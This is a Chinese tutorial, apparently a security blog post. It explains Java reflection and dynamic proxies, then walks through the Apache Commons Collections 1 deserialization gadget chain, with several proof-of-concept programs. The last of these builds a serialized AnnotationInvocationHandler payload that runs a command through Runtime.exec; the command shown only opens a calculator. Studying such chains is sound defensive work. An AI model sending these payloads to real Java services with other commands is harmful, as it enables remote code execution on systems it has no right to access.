CommonsCollection1

1、前置知识

1.1、反射基础知识

1.1.1、 对象与类的基础知识
类(class),对象(object)
对象是类的实例化,中华田园犬(object)是狗(class)的实例化
类是对象的抽象化,狗(class)是中华田园犬(object)抽象化
1.1.2、反射获取对象过程

1、我们可以通过以下三种方法获取Class对象类型

Class classType = String.class;
Class classType = new String().getClass();/*new String()是一个对象*/
Class classType = Class.forName("java.lang.String");

2、在Class类中包含着很多方法函数,其中在本章节使用最频繁的就是

getName():获得类的完整名字。
getFields():获得类的public类型的属性。 getDeclaredFields():获得类的所有属性。 getMethods():获得类的public类型的方法。 getDeclaredMethods():获得类的所有方法。 getMethod(String name, Class[] parameterTypes):获得类的特定方法,name参数指定方法的名字,parameterTypes参数指定方法的参数类型。 getConstrutors():获得类的public类型的构造方法。 getConstrutor(Class[] parameterTypes):获得类的特定构造方法,parameterTypes参数指定构造方法的参数类型。 newInstance():通过类的不带参数的构造方法创建这个类的一个对象。

2、通过默认构造方法创建一个新的对象,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)

Object objectCopy=classType.getConstructor(new Class[]{}).newInstance(new Object[]{});

3、获得对象的所有属性,即通过Class类的getDeclaredFields()方法返回类的所有属性,包括public、protected、default和private访问级别的属性

Field fields[]=classType.getDeclaredFields();

4、获得每个属性相应的get/set方法,然后执行这些方法,把原来的对象属性拷贝到新的对象中。

  这里我们可以写一个InvokeTester的类,然后运用反射机制调用一个InvokeTester对象的add()方法(自定义方法),如add()方法的两个参数为int类型,那么获取表示add()方法的Method对象代码如下:

Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class});

5、反射调用addMethod方法

//获得和属性对应的getXXX()方法
Method getMethod=classType.getMethod(getMethodName,new Class[]{});
//获得和属性对应的setXXX()方法
Method setMethod=classType.getMethod(setMethodName,new Class[]{field.getType()});
//具体实施(第四点描述)
Method addMethod=classType.getMethod("add",new Class[]{int.class,int.class}); //调用原对象的getXXX()方法
Object value=getMethod.invoke(object,new Object[]{});
System.out.println(fieldName+":"+value);
//调用拷贝对象的setXXX()方法
setMethod.invoke(objectCopy,new Object[]{value});
addMethod.invoke()

6、具体一个小例子

首先有个Users类,他有属性名字(name)、年龄(age)和会算加法()

public class Users {
String name;
int age; public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} public int add(int num1, int num2){
int addnum= num1+num2;
return addnum; } }

那么我们反射获取他的某一个user对象的名字、年龄和加法

第一反射获取多参数的方法add

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception {
//反射获取类对象类型,这里获取的是Users类对象类型
Class<?> users = Class.forName("Users");
//类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num); }
}

反射调用单参数的方法setName和无参数方法getName

import java.lang.reflect.Method;

public class Test {
public static void main(String[] args) throws Exception {
/*
//反射获取类对象类型,这里获取的是Users类对象类型
Class<?> users = Class.forName("Users");
//类对象类型实例化,,即先调用Class类的getConstructor()方法获得一个Constructor对象,它代表默认的构造方法,然后调用Constructor对象的newInstance()方法构造一个实例。(此处new Class[]{}、new Object[]{}表示空参数,既调用默认的无参数的构造方法)
Object user = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取指定的类对象类型的add方法,add方法需要两个参数,参数类型为int型,getMethod类型的第二个参数必须是Class对象类型
Method add = users.getMethod("add", new Class[]{int.class, int.class});
//add方法反射调用(invoke)user对象,并且传入add方法的俩个参数值,invoke方法的参数必须是object对象
Object num = add.invoke(user, new Object[]{1, 2});
System.out.println((Integer) num); */ Class<?> users = Class.forName("Users");
Object zhangsan = users.getConstructor(new Class[]{}).newInstance(new Object[]{});
//反射获取Users类的setName()方法 ,需要传入setName的所需的参数类型,此处为String.class类型
Method setName = users.getMethod("setName", new Class[]{String.class});
//反射设置zhangsan对象实例的名字为张三
setName.invoke(zhangsan,new Object[]{"张三"});
//反射获取Users类的getName()方法,需要传入getName的参数类型,此处为空
Method getName = users.getMethod("getName", new Class[]{});
//反射获取zhangsan对象实例的名字
Object Name = getName.invoke(zhangsan);
System.out.println((String) Name); }
}
1.1.3、反射的基本用法

反射又有很多琐碎的点,这里只讲它的基本用法如果当前拥有一个对象的话,那么可以动态的调用该对象的所有方法

// Step1 获取Class对象
Class cls = obj.getClass();
// Step2 获取想要的方法对象
Method mth = cls.getMethod("MethodName",new Class[]{arg1_type,arg2_type});
// Step3 调用方法
mth.invoke(obj,new Object[]{arg1,arg2})

这里注意的是getMethod的第二个参数为Class数组,Class的概念我们之前也提到过。

1.2、动态代理知识

动态代理需要理解反射包的三个类

反射包 java.lang.reflect 的三个类:InvocationHandler,Method,Proxy

InvocationHandler

这个类其实就一个方法就是invoke方法,该方法用代理商在不改变代理对象的情况,需要添加的功能

参数:

Object proxy:jdk的代理类,无需赋值

Method method:代理对象的方法,jdk提供的Method的对象

Object[] args:代理对象的方法执行的参数

package java.lang.reflect;

public interface InvocationHandler {

    public Object invoke(Object proxy, Method method, Object[] args)
throws Throwable;
}

Method

Method方法主要在InvocationHandler的invoke方法中实现,表示执行代理对象的方法

Method.invoke(目标的对象,方法的参数)

Proxy

newProxyInstance的方法的三个参数为

ClassLoader loader:类加载器,负责向内存中加载对象的。使用反射获取的

Class<?>[] interfaces :目标对象实现的接口,也是反射获取的

InvocationHandler h:我们自己写的,代理需要完成的功能

举个具体里的例子(Usb)

首先实现一个统一的买usb的接口,里面有一个卖usb的方法

public interface Usbsell {
float sell(int acount);
}

金士顿厂家要卖usb,所以继承这个接口,他买85元

package com.akkacloud.factory;

import com.akkacloud.service.Usbsell;

public class UsbKingFactor implements Usbsell {

    @Override
public float sell(int acount) {
return 85.0f;
}
}

我们是一个商店,去买我们要赚差价

第一种写法,直接在主函数中创建我们的InvocationHandler接口

package com.akkacloud;

import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy; public class MainShop {
public static void main(String[] args) {
//创建代理对象,使用proxy
//创建目标类对象,就是厂家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//创建代理对象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(), new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
Object res = method.invoke(usbKingFactor, args);
res= (float)res+35;
return res;
}
}
);
//通过代理对象执行sell
float price = proxy.sell(1);
System.out.println("通过代理的价格:"+price); }
}

第二种我们先实现InvocationHandler接口,再写主函数

首先我们要实现我们的InvocationHandler接口,我们实施加价25块

package com.akkacloud.handler;

import java.io.File;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method; public class MysellHandler implements InvocationHandler{ private Object target; public MysellHandler(Object target) {
this.target = target;
} @Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
//想厂家订购1个商品
// float price = factory.sell(1);
Object res = method.invoke(target, args);
//中间商赚差价
//price = price+25;
if(res!=null){
float price = (float) res;
price=price+25;
res =price;
} return res;
}
}

然后实现我们的商店代码

package com.akkacloud;

import com.akkacloud.factory.UsbKingFactor;
import com.akkacloud.handler.MysellHandler;
import com.akkacloud.service.Usbsell; import java.lang.reflect.Proxy; public class MainShop {
public static void main(String[] args) {
//创建代理对象,使用proxy
//创建目标类对象,就是厂家
UsbKingFactor usbKingFactor = new UsbKingFactor();
//创建invocationHandler对象,传入代理商的厂家为usbking
MysellHandler mysellHandler = new MysellHandler(usbKingFactor);
//创建代理对象
Usbsell proxy = (Usbsell) Proxy.newProxyInstance(usbKingFactor.getClass().getClassLoader(),
usbKingFactor.getClass().getInterfaces(),mysellHandler
);
//通过代理对象执行sell
float price = proxy.sell(1);
System.out.println("通过代理的价格:"+price); }
}

执行结果

1.3、调试所需类相关的知识和作用

Transformer

transformer的是Commons Collections包中提供的一个接口

package org.apache.commons.collections;

public interface Transformer {
Object transform(Object var1);
}
ConstantTransformer

ConstantTransformer是Transformer的实现类

构造方法中实现对iConstant赋值,transform方法用于获取iConstant的值

public class ConstantTransformer implements Transformer, Serializable {
static final long serialVersionUID = 6374440726369055124L;
public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
private final Object iConstant; public static Transformer getInstance(Object constantToReturn) {
return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
} public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
} public Object transform(Object input) {
return this.iConstant;
} public Object getConstant() {
return this.iConstant;
}
}
InvokerTransformer

InvokerTransformer也是Transform的实现类

构造方法里传入Strin iMethodName(字符串类型的函数名)、Class[] iParamTypes(函数的参数类型))、Object[] iArgs(函数的参数列表)

transform方法是用Java反射机制来进行执行任意代码


public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
} public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
ChainedTransformer

ChainedTransformer也是Transformer的实现类

构造方法是把数组类型的Transformer[] 赋值给iTransformers

transform方法是通过传入Trasnformer[]数组既iTransformers,对传入的数组进行遍历并且调用数组对象的transform方法。

Map

Transform来执行命令需要绑定到Map上,抽象类AbstractMapDecorator是Apache Commons Collections提供的一个类,实现类有很多,比如LazyMap、TransformedMap等,这些类都有一个decorate()方法,用于将上述的Transformer实现类绑定到Map上,当对Map进行一些操作时,会自动触发Transformer实现类的tranform()方法,不同的Map类型有不同的触发规则

TransformedMap

Transformer的实现类分别绑定到map的key和value上,当map的key或value被修改时,会调用对应Transformer实现类的transform()方法。

通过decorate方法去调用构造方法,把map、keyTransformer、valueTransformer传入,当调用put的方法修改key或者value时,就会调用transform()

我们可以把chainedtransformer绑定到一个TransformedMap上,当此map的key或value发生改变时,就会自动触发chainedtransformer的transform()方法

//构造方法
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
......
//改变key时、调用transform
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}
......
//改变value是,调用transform
protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
..... //put方法用来修改
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}
LazyMap

lazyMap也是Map的实现类

//构造方法
public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} //对传入的map和Transformer实例化
protected LazyMap(Map map, Factory factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = FactoryTransformer.getInstance(factory);
}
}
//调用get时,当key不存在时,调用Transformer实现类的transform()方法
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}

当调用tmpmap.get(key)的key不存在时,会调用TestTransformer的transform()方法

这些不同的Map类型之间的差异也正是CommonsColletions有那么多gadget的原因之一

Map tmpmap = LazyMap.decorate(normalMap, TestTransformer);

2、漏洞复现

由于前面分析了CC1的利用链,但是发现在CC1的利用链中是有版本的限制的。在JDK1.8 8u71版本以后,对AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap;
import java.util.Map; public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); //触发漏洞
Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
//outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
onlyElement.setValue("foobar"); }
}

3、漏洞分析

transformers

先分析第一段

Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers);

首先new一个Transformer数组

Transformer[] transformers = new Transformer[] {}

然后通过ChainedTransformer类的transform()方法,循环获取反射获取指定的命令执行函数函数

public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
} public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
} return object;
}

首先看第一个类ConstantTransformer运行transform()方法后,返回的是Runtime.Class

我们通过查看ConstantTransformer方法可知,Runtime.Class传入后通过构造方法赋值给iConstant,然后return这个iConstant赋值给object

public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
} public Object transform(Object input) {
return this.iConstant;
}

我们看第二类InvokerTransformer,其实这个类翻译过来就是反射转换,把Runtime.Class作为参数值传给InvokerTransformer的transform方法,就是下面的式子

object=InvokerTransformer.transform(Runtime.Class)

然后我们进入到InvokerTransformer.transform()方法查看,确实传入的是Runtime().Class,

首先我们来继续看InvokerTransformer的构造方法,第一个参数的意思是函数名,第二个参数的意思是参数类型,第三个是参数

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

再看InvokerTransformer的transform方法,其实就是反射调用构造方法中赋值的函数

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}

我们回到我们刚才调试的点,这三个参数分别是如下,函数名是getMethod,

getMethod.invoke(Runtime.Class,String.Class,getRunTime),反射调用后就是Runtime.getRuntime(),继续传入object

第三次传入的是object是Runtime.getRuntime(),函数名是invoke,参数值是null,invoke.invoke(Runtime.getRuntime(),Object.Class,null),由于Runtime是单例模式,需要执行他的getRuntime方法来获取Runtime类的实例化对象,所以这里用Invoke反射执行了getRuntime所以就获得了Runtime的实例对象

第四次传入的object是Runtime的实例化对象,函数名是exec(),参数是"open /System/Application/Calculator.app",就是执行了Runtime.getRuntime().exec().

通过ConstantTransformer得到Runtime.class,然后再InvokerTransformer反射得到getRuntime方法,然后通过反射执行invoke才能去调用getRuntime方法,这样得到一个Runtime对象,然后再去调用Runtime对象的exec方法去达到命令执行。

Runtime.getRuntime().invoke(null).exec("open /System/Application/Calculator.app");

上面那么多其实最简单的方法是自己先写一遍反射执行Runtime的Rce,如:

Class runtimeClass = Runtime.class;
Method getRuntime = runtimeClass.getMethod("getRuntime", null);//getMethod获取getRuntime方法,参数为空
Runtime runtime = (Runtime) getRuntime.invoke(null, null);//反射执行getRuntime方法获取Runtime实例,invoke方法需要两个参数,执行的对象和执行的的参数,因为getRuntime为static方法,反射调用时执行的对象直接传null就行。 Method exec = runtimeClass.getMethod("exec", String.class);//反射获取Runtime的exec方法
exec.invoke(runtime, "open /System/Applications/Calculator.app");//反射执行

然后我们再通过ConstantTransformer和InvokerTransformer的transform方法的规则实现一下就很好理解了

Object runtime= new ConstantTransformer(Runtime.class).transform(null);
Object getMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}).transform(runtime);
Runtime r = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}).transform(r);

可以看出都是调用transform方法,且输入的参数为上一个参数的结果

加入ConstantTransformer去循环调用transform

Transformer[] transformers = {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"})
}; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

第一段ChainedTransformer就是为了执行这段命令,但是我们想在需要去ChainedTransformer.transform方法

TransformedMap类

前置知识我们说过,通过调用TransformedMap.decorate(),再调用TransformedMap的构造方法赋值参数,参数分别是Map、更换的key值、更换的value值,我们通过put方法调用transformKey、transformValue方法来更换Map的key和value,而这时候最重要的是transformValue、transformKey方法调用了transform方法,也就是说我们把ChainedTransformer传给decorate方法的valueTransformer,当调用put方法时就可以调用ChainedTransformer的transform方法了。

public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
} protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
protected Object transformKey(Object object) {
return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
} protected Object transformValue(Object object) {
return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}
public Object put(Object key, Object value) {
key = this.transformKey(key);
value = this.transformValue(value);
return this.getMap().put(key, value);
}

漏洞利用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap;
import java.util.Map; public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain); outerMap.put("1","1"); // //触发漏洞
// Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();
// //outerMap后一串东西,其实就是获取这个map的第一个键值对(value,value);然后转化成Map.Entry形式,这是map的键值对数据格式
// onlyElement.setValue("foobar"); }
}

在这里我们是使用了代码直接的让他去弹出一个计算器,但是在实际运用中,需要将该代码转换为序列化流。在实际运用中需要我们需要找到⼀个类,它在反序列化的readObject读取我们序列化的流文件。在分析该链的时候也比较乱,下篇文章重新来完整的调试一下。

LazyMap

在分析前先来看看LazyMap这个类,这个类和TransformedMap类似。都是AbstractMapDecorator继承抽象类是Apache Commons Collections提供的一个类。在两个类不同点在于TransformedMap是在put方法去触发transform方法,而LazyMap是在get方法去调用方法

public class LazyMap extends AbstractMapDecorator implements Map, Serializable {
private static final long serialVersionUID = 7990956402564206740L;
protected final Transformer factory; public static Map decorate(Map map, Transformer factory) {
return new LazyMap(map, factory);
} protected LazyMap(Map map, Transformer factory) {
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
} else {
this.factory = factory;
}
} public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
}

当调用get(key)的key不存在时,会调用transformerChain的transform()方法。

修改一下poc,使用LazyMap的get方法来触发命令执行试试

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap; import java.util.HashMap;
import java.util.Map; public class CommonCollection1 {
public static void main(String[] args) {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
}; //将transformers数组存入ChaniedTransformer这个继承类
Transformer transformerChain = new ChainedTransformer(transformers); //创建Map并绑定transformerChina
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链 Map tmpmap = LazyMap.decorate(innerMap, transformerChain);
tmpmap.get("1"); }
}

AnnotationInvocationHandler

AnnotationInvocationHandler该类是用来处理注解的。

查看AnnotationInvocationHandler类的构造函数有两个参数,第⼀个参数是⼀个Annotation类类型参数,第二个是map类型参数

Annotation类类型参数传给var1map类型传给类var1==》TransformedMap.decorate(innerMap,transformerChain)

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

利用链主要用到了AnnotationInvocationHandler的invoke方法和readObject方法

invoke方法主要为三个参数(对象类型,方法类型,对象数组)

public Object invoke(Object var1, Method var2, Object[] var3) {
String var4 = var2.getName();
Class[] var5 = var2.getParameterTypes();
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
return this.equalsImpl(var3[0]);
} else if (var5.length != 0) {
throw new AssertionError("Too many parameters for an annotation method");
} else {
byte var7 = -1;
switch(var4.hashCode()) {
case -1776922004:
if (var4.equals("toString")) {
var7 = 0;
}
break;
case 147696667:
if (var4.equals("hashCode")) {
var7 = 1;
}
break;
case 1444986633:
if (var4.equals("annotationType")) {
var7 = 2;
}
} switch(var7) {
case 0:
return this.toStringImpl();
case 1:
return this.hashCodeImpl();
case 2:
return this.type;
default:
Object var6 = this.memberValues.get(var4);
if (var6 == null) {
throw new IncompleteAnnotationException(this.type, var4);
} else if (var6 instanceof ExceptionProxy) {
throw ((ExceptionProxy)var6).generateException();
} else {
if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
var6 = this.cloneArray(var6);
} return var6;
}
}
}
}

重要式子

memberValues就是构造函数赋值的,存储这我们的恶意的map

Object var6 = this.memberValues.get(var4)

就是AnnotationInvocationHandler调用invoke方法,调用Lazymap的get方法,调用transform方法

readObject方法

我们看到第四行

Map var4 = (Map)var2.get("memberValues", (Object)null)

memberValues.的值赋值给var4

var4调用了entrySet().iterator()方法

var4.entrySet().iterator()
private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
GetField var2 = var1.readFields();
Class var3 = (Class)var2.get("type", (Object)null);
Map var4 = (Map)var2.get("memberValues", (Object)null);
AnnotationType var5 = null; try {
var5 = AnnotationType.getInstance(var3);
} catch (IllegalArgumentException var13) {
throw new InvalidObjectException("Non-annotation type in annotation serial stream");
} Map var6 = var5.memberTypes();
LinkedHashMap var7 = new LinkedHashMap(); String var10;
Object var11; for(Iterator var8 = var4.entrySet().iterator(); var8.hasNext(); var7.put(var10, var11)) {
Entry var9 = (Entry)var8.next();
var10 = (String)var9.getKey();
var11 = null;
Class var12 = (Class)var6.get(var10);
if (var12 != null) {
var11 = var9.getValue();
if (!var12.isInstance(var11) && !(var11 instanceof ExceptionProxy)) {
var11 = (new AnnotationTypeMismatchExceptionProxy(var11.getClass() + "[" + var11 + "]")).setMember((Method)var5.members().get(var10));
}
}
} AnnotationInvocationHandler.UnsafeAccessor.setType(this, var3);
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, var7);
}

POC

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap; import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map; public class CommonCollection1 {
public static void main(String[] args) throws Exception {
//此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"open /System/Applications/Calculator.app"})
};
//循环反射调用InvokerTransformer.transform()方法执行Rce
Transformer transformerChain = new ChainedTransformer(transformers);
//通过LazyMap的get方法调用ChainedTransformer.transform()方法
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain); //反射创建AnnotationInvocationHandler方法,把恶意的LazyMap赋值给InvocationHandler,因为AnnotationInvocationHandler实现了InvocationHandler接口
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class,Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("1.txt"));
oos.writeObject(handler); } }
}

我们先来看第一段

反射创建AnnotationInvocationHandler类,实例化对象时把Retention.class、 outerMap传给InvocationHandler接口,因为AnnotationInvocationHandler实现了InvocationHandler方法

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

第二段动态代理

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
  • 第一个参数:People.getClass().getClassLoader(),使用handler对象的

    classloader对象来加载我们的代理对象
  • 第二个参数:Person.getClass().getInterfaces(),这里为代理类提供的接口 是真实对象实现的接口,这样代理对象就能像真实对象一样调用接口中的所有方法
  • 第三个参数:我们将代理对象关联到上面的InvocationHandler对象上

那么在这段poc的执行中执行反序列化的时候,服务器读取了我们的恶意序列化文件,把他反序列化,AnnotationInvocationHandler重写了readObject()方法,所以调用的是AnnotationInvocationHandler的readObject()方法。readObject()方法会去调用memberValues的entrySet()方法。这里的memberValues是构造方法传入进来的参数,我们是使用反射的方式对他进行创建传入的是proxyMap。

